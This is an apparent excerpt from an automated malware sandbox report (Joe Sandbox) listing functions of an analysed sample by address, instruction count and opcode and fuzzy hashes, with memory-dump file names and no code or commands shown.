                                                                                              • Instruction ID: 993f8d73d99fd8be74aa4c72544eac2ce8811e272f6699b252a73554acd69bc4
                                                                                              • Opcode Fuzzy Hash: 96ed0e62ce2c90e8a7b0d56708467c39bbce42824869a43e3c3ada27ea4ff556
                                                                                              • Instruction Fuzzy Hash: 6311E175B0EB998FEB52DF2488A10ED7BB0EF63310F1649F6C144DB182D93C65059B80
                                                                                              Function 00007FFD34685AAE Relevance: .0, Instructions: 49COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 0000004B.00000002.3639809820.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_75_2_7ffd34680000_fvXBwqYdGYPkplbuTcoXecCdP.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 0fbbe1e68e50fc3bd0469890d0a716cc1768219971df738a1b6be4ecc090fed1
                                                                                              • Instruction ID: 00b53177b3377c135efa3dac405ccf07c79cbe8946bb013d8d73ccc4a55b8285
                                                                                              • Opcode Fuzzy Hash: 0fbbe1e68e50fc3bd0469890d0a716cc1768219971df738a1b6be4ecc090fed1
                                                                                              • Instruction Fuzzy Hash: CF11EF30A485198FDBD4DF14C4E4BE973F1EB98301F5441AAD10ED7290CA38AA81CB40
                                                                                              Function 00007FFD346847EE Relevance: .0, Instructions: 46COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 0000004B.00000002.3639809820.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_75_2_7ffd34680000_fvXBwqYdGYPkplbuTcoXecCdP.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: c5f739a6f16d76d45250984705e8e8e253c8b9385c673156c8da7296e795cf75
                                                                                              • Instruction ID: ac78b399756facaf2127421e19a103b5b6bb3f1c7f66202ad5981a86ebd7ce0e
                                                                                              • Opcode Fuzzy Hash: c5f739a6f16d76d45250984705e8e8e253c8b9385c673156c8da7296e795cf75
                                                                                              • Instruction Fuzzy Hash: 1C014B60B08A2A4BFFD4FE24C4E4AF833D6EF96300F164475D64AD7292ED2CAC41A700
                                                                                              Function 00007FFD34680C48 Relevance: .0, Instructions: 45COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 0000004B.00000002.3639809820.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_75_2_7ffd34680000_fvXBwqYdGYPkplbuTcoXecCdP.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: a2e86da37f2f3264a651337020c91039d4d29a2240bb6a83cf391e6b8f3479be
                                                                                              • Instruction ID: 3c2f76956ced3907a822842776d1f10e94d00bbfea3c630457652cd3f3ebea0e
                                                                                              • Opcode Fuzzy Hash: a2e86da37f2f3264a651337020c91039d4d29a2240bb6a83cf391e6b8f3479be
                                                                                              • Instruction Fuzzy Hash: 82010C71A0EB888FEB52DF2488A00ED7BB0EF63300F1604F6C140DB182DA3C6A059B80
                                                                                              Function 00007FFD346847CE Relevance: .0, Instructions: 42COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 0000004B.00000002.3639809820.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_75_2_7ffd34680000_fvXBwqYdGYPkplbuTcoXecCdP.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 82eeabdc241c2a62e162ccc7baaae792d61322c8d9fdb1b0411a8c788efce62b
                                                                                              • Instruction ID: 63c50cc0f693aee90f4a085defc5c8f32f0479498e97e39d0d438a581fce6033
                                                                                              • Opcode Fuzzy Hash: 82eeabdc241c2a62e162ccc7baaae792d61322c8d9fdb1b0411a8c788efce62b
                                                                                              • Instruction Fuzzy Hash: 21014F60F19A3E4BEBE0EE1884E47F863A1FF1A300F5109B5D54DE3292ED2C6C809711
                                                                                              Function 00007FFD34680C50 Relevance: .0, Instructions: 40COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 0000004B.00000002.3639809820.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_75_2_7ffd34680000_fvXBwqYdGYPkplbuTcoXecCdP.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: ed42c695cf665066dc806c760cc140d6376c3f7bc4c901c80fcb813c3fe9e43c
                                                                                              • Instruction ID: f91167166386470f0693f069ca24bc513cf5f86a6aefe62a257adfb18e71e485
                                                                                              • Opcode Fuzzy Hash: ed42c695cf665066dc806c760cc140d6376c3f7bc4c901c80fcb813c3fe9e43c
                                                                                              • Instruction Fuzzy Hash: 2D01BC74E0EB999FEB52DF6488A00ED7FB0EF63300F1505E6C144DB182D93C6A449741
                                                                                              Function 00007FFD346810C0 Relevance: .0, Instructions: 27COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 0000004B.00000002.3639809820.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_75_2_7ffd34680000_fvXBwqYdGYPkplbuTcoXecCdP.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 9057086b1c1e4862696eb4bf09763a07ebd928a5571024cbf416280da337d409
                                                                                              • Instruction ID: 9b436d9c232174391a7c2e2baad7af11cc88c44d1945492170e3e650b4046975
                                                                                              • Opcode Fuzzy Hash: 9057086b1c1e4862696eb4bf09763a07ebd928a5571024cbf416280da337d409
                                                                                              • Instruction Fuzzy Hash: 21E02621B4CC590AEBBCA5B4A8B21F47380DB46315B0501BED14AC2286CC5D5C814280
                                                                                              Function 00007FFD3468480B Relevance: .0, Instructions: 24COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 0000004B.00000002.3639809820.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_75_2_7ffd34680000_fvXBwqYdGYPkplbuTcoXecCdP.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 2288c99eab7b3ce79b0c5988de62a37b3f12b0a73a0bcbac6919596a7fbac341
                                                                                              • Instruction ID: 21ff1640cd920940dccab1ec99a0bd2213e914c10ab10dd268dc34695dee867a
                                                                                              • Opcode Fuzzy Hash: 2288c99eab7b3ce79b0c5988de62a37b3f12b0a73a0bcbac6919596a7fbac341
                                                                                              • Instruction Fuzzy Hash: FBF0AC30E58A3E8BEBD4AE50C8E47F863A1BF16305F0005B9C24DE7191DE6C2D81EA10
                                                                                              Function 00007FFD34686DE8 Relevance: .0, Instructions: 24COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 0000004B.00000002.3639809820.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_75_2_7ffd34680000_fvXBwqYdGYPkplbuTcoXecCdP.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: fe0b75d08b9c301d64e052730cfc3b5d421e3e3e28d73b2336f9e0da07ec4312
                                                                                              • Instruction ID: 25d235d573fff8f7f45072f46b7f30d3adfd92cf47855bb022b5513b40cbb084
                                                                                              • Opcode Fuzzy Hash: fe0b75d08b9c301d64e052730cfc3b5d421e3e3e28d73b2336f9e0da07ec4312
                                                                                              • Instruction Fuzzy Hash: F9E06D24B081664BFB905A44C8B03ED2321FF85300F259879DB4EE73C1CD2C9D82A751
                                                                                              Function 00007FFD346848AE Relevance: .0, Instructions: 19COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 0000004B.00000002.3639809820.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_75_2_7ffd34680000_fvXBwqYdGYPkplbuTcoXecCdP.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 83accb6ea45df16bc0cc82df944b8a2b1f38f4474f06db1afa9d6c8db19a8251
                                                                                              • Instruction ID: e786962933070cccdf3a4f2f73b6b62dac1fa960f077b7add2521c976499bde3
                                                                                              • Opcode Fuzzy Hash: 83accb6ea45df16bc0cc82df944b8a2b1f38f4474f06db1afa9d6c8db19a8251
                                                                                              • Instruction Fuzzy Hash: 36E0B620B18A7A4BFBE0EE14C5E47F82391AF47300F1005B5CA9DE32D2DD2D6D81AA21
                                                                                              Function 00007FFD34680B9D Relevance: .0, Instructions: 14COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 0000004B.00000002.3639809820.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_75_2_7ffd34680000_fvXBwqYdGYPkplbuTcoXecCdP.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: c2596b17b553f4e625ef0d4ffdc5abbd7496b769848b3d50fb6523f01d2ad3da
                                                                                              • Instruction ID: c26d6cd44d2363c31f495cac6a99d813bdd4ccd5d49846c43e175ea757afe9fc
                                                                                              • Opcode Fuzzy Hash: c2596b17b553f4e625ef0d4ffdc5abbd7496b769848b3d50fb6523f01d2ad3da
                                                                                              • Instruction Fuzzy Hash: 2EC0123062880E8FDA80BB28C888828BBA0FB0F315BD914E0E00CCB1A1D61998908702
                                                                                              Function 00007FFD346806A5 Relevance: .0, Instructions: 13COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 0000004B.00000002.3639809820.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_75_2_7ffd34680000_fvXBwqYdGYPkplbuTcoXecCdP.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: e38b839a962afbf7466bb809ed74affd0fe7e6cfbd99036e6d55b82f99f34630
                                                                                              • Instruction ID: 217a17b160e11e56d048f8bd369486d016bfe5ae4db63909427fd0842caab3bf
                                                                                              • Opcode Fuzzy Hash: e38b839a962afbf7466bb809ed74affd0fe7e6cfbd99036e6d55b82f99f34630
                                                                                              • Instruction Fuzzy Hash: EEC08C05F0BE3F00B880392E18E20ECA3005FC7610FE30832D30CD00C19C0D20C62146
                                                                                              Function 00007FFD346812B8 Relevance: .0, Instructions: 10COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 0000004B.00000002.3639809820.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_75_2_7ffd34680000_fvXBwqYdGYPkplbuTcoXecCdP.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: e324092602b3f72e1152b057234d25b009204692493c25fb805eddb0f9527d50
                                                                                              • Instruction ID: 4ca9ee4ab12d342c16065cd6a28b75e39869857b571f01a68e56ba77f89b2abb
                                                                                              • Opcode Fuzzy Hash: e324092602b3f72e1152b057234d25b009204692493c25fb805eddb0f9527d50
                                                                                              • Instruction Fuzzy Hash: 6EB09210A6A82A06D888FAB58CE20E4B250EB4A354FD640B4D90DC1182E94E29D7A249
                                                                                              Function 00007FFD346806C8 Relevance: .0, Instructions: 8COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 0000004B.00000002.3639809820.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_75_2_7ffd34680000_fvXBwqYdGYPkplbuTcoXecCdP.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 53bb17afe161cd3c8899fff8457088f758022530ecbe74bccee355b060b98651
                                                                                              • Instruction ID: 4e7bba5bb7288390cc2f20b293250f8cac366fe5377c7eab29166c267286a2f3
                                                                                              • Opcode Fuzzy Hash: 53bb17afe161cd3c8899fff8457088f758022530ecbe74bccee355b060b98651
                                                                                              • Instruction Fuzzy Hash: E7B01204D5781F00A884357A08D20E471405F46100FC21070E61CC0081984D10952242

                                                                                              Non-executed Functions

                                                                                              Function 00007FFD346809B0 Relevance: 5.2, Strings: 4, Instructions: 183COMMON
                                                                                              Download Yara Rule
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 0000004B.00000002.3639809820.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_75_2_7ffd34680000_fvXBwqYdGYPkplbuTcoXecCdP.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID: c9$!k9$"s9$#{9
                                                                                              • API String ID: 0-1692736845
                                                                                              • Opcode ID: 957b9086afa00c150c7409c81830facba179133c026cfe0373082261511526f0
                                                                                              • Instruction ID: 80a8c22c89b712c28367d7143927f34a63d904814a7e65e69a709a07e36fa7c3
                                                                                              • Opcode Fuzzy Hash: 957b9086afa00c150c7409c81830facba179133c026cfe0373082261511526f0
                                                                                              • Instruction Fuzzy Hash: 6D417F07B8D66A45E22137FDB4621FF6B889FE233EB084777E18C990C38D09608586E5